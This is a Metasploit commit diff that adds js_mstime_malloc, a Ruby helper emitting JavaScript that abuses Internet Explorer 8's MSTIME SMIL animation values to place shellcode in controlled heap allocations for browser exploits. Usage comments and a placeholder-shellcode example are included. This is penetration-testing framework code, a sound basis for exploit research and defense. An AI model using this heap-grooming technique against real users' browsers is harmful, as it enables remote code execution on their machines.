Land @1785, @wchen-r7's API addition for the mstime ie8 technique

jvazquez-r7 · jvazquez-r7 · commit 5cfc306466a1 · 2013-05-02T00:00:49.000-05:00
diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb
@@ -853,6 +853,74 @@ def js_ajax_download
 		|
 	end
 
+
+	#
+	# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
+	# suitable for a no-spray technique.  There should be an allocation that contains an array of
+	# pointers to strings that we control, and each string should reside in its own buffer.
+	# Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
+	# Internet Explorer 8 or prior.  Note that "mstime_malloc" also requires a rather specific
+	# writing style, so make sure you have the following before using:
+	#   * You must have the following at the beginning of your HTML file:
+	#     	<!doctype html>
+	#       <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
+	#   * You must have the following in <meta>:
+	#     	<meta>
+	#           <?IMPORT namespace="t" implementation="#default#time2">
+	#       </meta>
+	#
+	# The "mstime_malloc" JavaScript function supports the following arguments:
+	#   shellcode     => The shellcode to place.
+	#   offset        => Optional. The pointer index that points to the shellcode.
+	#   heapBlockSize => Object size.
+	#   objId         => The ID to your ANIMATECOLOR element.
+	#
+	# Example of using "js_mstime_malloc":
+	#     <script>
+	#     #{js_mstime_malloc}
+	#
+	#     shellcode = unescape("%u4141%u4141%u4141%u4141%u4141");
+	#     offset    = 3;
+	#     s         = 0x58;
+	#     mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
+	#     </script>
+	#
+	def js_mstime_malloc
+		%Q|
+		function mstime_malloc(oArg) {
+			shellcode     = oArg.shellcode;
+			offset        = oArg.offset;
+			heapBlockSize = oArg.heapBlockSize;
+			objId         = oArg.objId;
+
+			if (shellcode     == undefined) { throw "Missing argument: shellcode"; }
+			if (offset        == undefined) { offset = 0; }
+			if (heapBlockSize == undefined) { throw "Size must be defined"; }
+
+			buf = "";
+			for (i=0; i < heapBlockSize/4; i++) {
+				if (i == offset) {
+					if (i == 0) { buf += shellcode;       }
+					else        { buf += ";" + shellcode; }
+				}
+				else {
+					buf += ";##{Rex::Text.rand_text_hex(6)}";
+				}
+			}
+
+			e = document.getElementById(objId);
+			if (e == null) {
+				eleId = "#{Rex::Text.rand_text_alpha(5)}"
+				acTag = "<t:ANIMATECOLOR id='"+ eleId  + "'/>"
+				document.body.innerHTML = document.body.innerHTML + acTag;
+				e = document.getElementById(eleId);
+			}
+			try { e.values = buf; }
+			catch (e) {}
+		}
+		|
+	end
+
 	#
 	# This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
 	# function to trigger allocations by ntdll!RtlAllocateHeap.  It is based on Corelan's
